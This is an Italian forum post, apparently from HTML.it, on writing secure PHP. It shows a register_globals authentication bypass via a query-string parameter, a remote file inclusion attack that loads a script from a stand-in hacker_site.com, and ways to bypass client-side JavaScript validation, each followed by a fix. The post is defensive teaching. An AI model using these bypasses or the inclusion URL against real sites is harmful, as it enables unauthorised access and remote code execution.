Questa pillola, ampliata e aggiornata, è diventata una Guida di HTML.it.
La trovate all'indirizzo http://php.html.it/guide/leggi/121/g...urezza-di-php/
Beware of…o sulla programmazione “sicura” in PHP
Con questa mia intenderei fornire un contributo ad alcune questioni legate alla sicurezza nello scrivere codice PHP. Mio intento è di aggiungerne man mano altri, nel tempo.
Spero possano essere utili e confido nelle Vs. segnalazioni riguardo errori (sicuramente) presenti, precisazioni e via dicendo, essendo io comunque nell’ordine di idee di scrivere una guida corretta e completa e postarla, nel futuro, in una pillola ulteriore.
Grazie in anticipo a tutti quanti inseriranno commenti costruttivi.
Sommario
1. Sulla direttiva register_globals (“Cos’è? Si mangia?”)
2. Sugli include dinamici (“Se includi un file in quel modo, entro nel tuo sistema. E tu sei un fagiano.”)
3. Sui form e sulle validazioni client-side (“I controlli JavaScript lato client sono a prova di Chuck Norris?”. "No, niente è a prova di Chuck Norris.")
4. Database: SQL injections (“Fanno male, molto male. Cosa sono e cosa posso fare per difendermi?”)
5. Sicurezza dei dati remoti (“Come impedire che un file dati venga richiamato da URL?”)
1. Sulla direttiva register globals
1.1 Vulnerabilità
La direttiva register_globals del php.ini, se abilitata, permette allo script PHP di creare variabili globali secondo quanto ricevuto via query string, form, cookies o sessione.
Ciò significa, nella pratica, che se uno script PHP viene richiamato da browser come:
mio_script.php?documento=4&pagina=2
per esso verranno create due variabili (globali) con tali nomi e valori. Questo metodo di trattamento dati, inizialmente creato per semplicità di notazione (le scritture $_GET[‘documento’] o $documento sono in questo caso equivalenti), successivamente ha suscitato l’attenzione degli sviluppatori in quanto possibile veicolo di exploit su codice mal pensato.
Poniamo infatti che register_globals sia abilitato e l’applicazione Web PHP abbia al suo interno un codice simile al seguente:
La function autenticazione() autentica l’utente, in base a qualsiasi metodo il programmatore ritenga opportuno, ed il risultato di tale procedura è memorizzato nella variabile $utente_autorizzato.Codice PHP:<?
function autenticazione()
{
if (procedura_complicatissima) return true;
else return false;
}
// main
if (autenticazione())
{
$utente_autorizzato = true;
}
if ($utente_autorizzato)
{
echo "Benvenuto utente autorizzato.";
il_resto_dello_script();
}
?>
Tuttavia, non è assolutamente necessario che un hacker (che conosca comunque il codice del programma) superi la procedura di autenticazione per accedere al sistema: gli è sufficiente richiamare lo script con ?utente_autorizzato=1 in query string, in quanto $utente_autorizzato (variabile) è ugualmente valorizzato da $_GET[‘utente_autorizzato’] (query string).
1.2 Soluzioni
E’ quindi lampante perché register_globals debba essere settato ad OFF.
In ogni modo, che si intenda settare register_globals ad OFF o meno, l’esempio sopra riportato mostra l’importanza di definire ed inizializzare tutte le variabili usate nello script, all’inizio dello stesso. Mentre altri linguaggi obbligano a farlo, PHP si dimostra decisamente più permissivo al riguardo.
Aggiungendo semplicemente l’inizializzazione della variabile $utente_autorizzato ad inizio script, l’exploit non funziona nemmeno con register_globals settato ad ON.
Durante lo sviluppo del programma è consigliabile settare la direttiva error_reporting ad E_ALL nel php.ini, ciò che evidenzia in fase di runtime ogni variabile non inizializzata:Codice PHP:// main
$utente_autorizzato = false;
[Output-tipo su Windows]codice:Notice: Undefined variable: variabile in percorso\cartella\script.php on line xx
Dovendo conoscere i dettagli del codice, va da sé che tali vulnerabilità riguardano essenzialmente gli applicativi open source, anche se esse vanno sempre più verso la più completa estinzione, in quanto la direttiva in questione generalmente è sempre disabilitata.
2. Sugli include dinamici
2.1 Introduzione
Si abbia il seguente script, test.php, sul WebServer di http://dummy_site.com, poniamo all’indirizzo:
http://dummy_site.com/test.php.
test.php include un file dinamicamente, sulla base di quanto ricevuto via query string. Ricevendo in GET, ad esempio: ?include_script=dummy_script.php, quest’ultimo script viene in esso incluso.Codice PHP:<?
if (isset($_GET['include_script'])) include($_GET['include_script']);
// altro_codice;
?>
Sicuramente non rientra nelle intenzioni del programmatore l’eventualità che possa venir incluso un file remoto. Nelle intenzioni dell’hacker invece sì…
Ecco come: sia http://hacker_site.com/evil_script come di seguito:
Se la direttiva allow_url_fopen del php.ini di dummy_site è abilitata (1), l’hacker, inserendo da browser l’indirizzo:Codice PHP:<?
echo "Inclusione dannosa riuscita.";
// altre istruzioni dannose;
?>
http://dummy_site.com/test.php?inclu...%2Fevil_script
può facilmente eseguire il codice di evil_script (2) su dummy_site.com. E prevedibilmente la fantasia dell’hacker sarà ben diversa dalla mia in quanto ad istruzioni eseguite…
2.2 Possibile rimedio
Nel caso ci si aspetti che il file da includere (ad esempio dummy_script.php) sia nella stessa cartella di test.php, è semplicemente necessario un controllo sulla cartella stessa, in fase di inclusione:
E’ molto difficile, infatti, riuscire a salvare un file nella virtual directory di un server da remoto, se non in possesso dei relativi permessi.Codice PHP:if ((isset($_GET['include_script'])) && (dirname($_GET['include_script']) == ".")) include($_GET['include_script']);
Rimane da sottolineare come gli include statici, del tipo: include(“mio_file.php”) non nascondono vulnerabilità.
____
(1) Lo è di default.
(2) Palesemente quanto scritto in query string è la codifica standard di “http://hacker_site.com/evil_script”
3. Sui form e sulle validazioni client-side (JavaScript)
3.1 Introduzione
I controlli client-side su quanto digitato o fatto dall’utente servono unicamente all’utente stesso come feedback delle sue azioni; per ciò che concerne la sicurezza, i controlli lato server divengono strettamente necessari, tanto più necessari quanto più l’applicazione Web sia diffusa e tratti dati sensibili.
Poniamo l’esempio in cui si voglia evitare di inserire dati duplicati in un ipotetico box “Nome tipo” di un form Web.
Il codice necessario è, banalmente, il seguente:
Funzione JavaScript richiamata tramite lo handler OnBlur nel relativo input box HTML:codice:function verify_name_tipodoc() { filesEsistenti=new Array(); filesEsistenti=['FAX (GENERICI EMESSI)','DOCUMENTO GENERICO','COMUNICAZIONI INTERNE','COMMESSA'] if (filesEsistenti.in_array(document.form1.nome_tipo.value.toUpperCase())) { alert ("Il nome utilizzato è già esistente "); document.form1.nome_tipo.value = ""; document.form1.nome_tipo.focus(); return true; } }
Essendo, a sua volta, il form dichiarato come segue:codice:<input type="text" name="nome_tipo" OnBlur="verify_name_tipodoc()">
3.2 Vulnerabilità e conclusionicodice:<form action="insert_tipo.php" method="post" enctype="multipart/form-data" name="form1" id="form1" OnSubmit="return check(this)">
Un controllo lato client di questo tipo è però “bypassabile” in ben due maniere semplicissime:
1. E’ sufficiente salvare il file HTML ed omettere i controlli JavaScript detti, avendo cura di modificare il parametro action del form in modo che punti all’URL del WebServer in questione (qui: http://www.my_srv.com):
codice:<form action="http://www.my_srv.com/insert_tipo.php" method="post" enctype="multipart/form-data" name="form1" id="form1">2. Come dite? Molto rumore per nulla? Bastava disabilitare il JavaScript dalle opzioni del browser? Già…codice:<input type="text" name="nome_tipo" OnBlur="">
Senza un controllo lato server, abbiamo, in questo caso, con elevatissima probabilità, procurato un danno al programma remoto: l’importanza del data filtering ricorre ancora una volta.
E’ da notare che un controllo di sessione non può nulla, in quanto, una volta autenticati, possiamo spedire qualsiasi cosa desideriamo dal nostro client al server remoto.

Rispondi quotando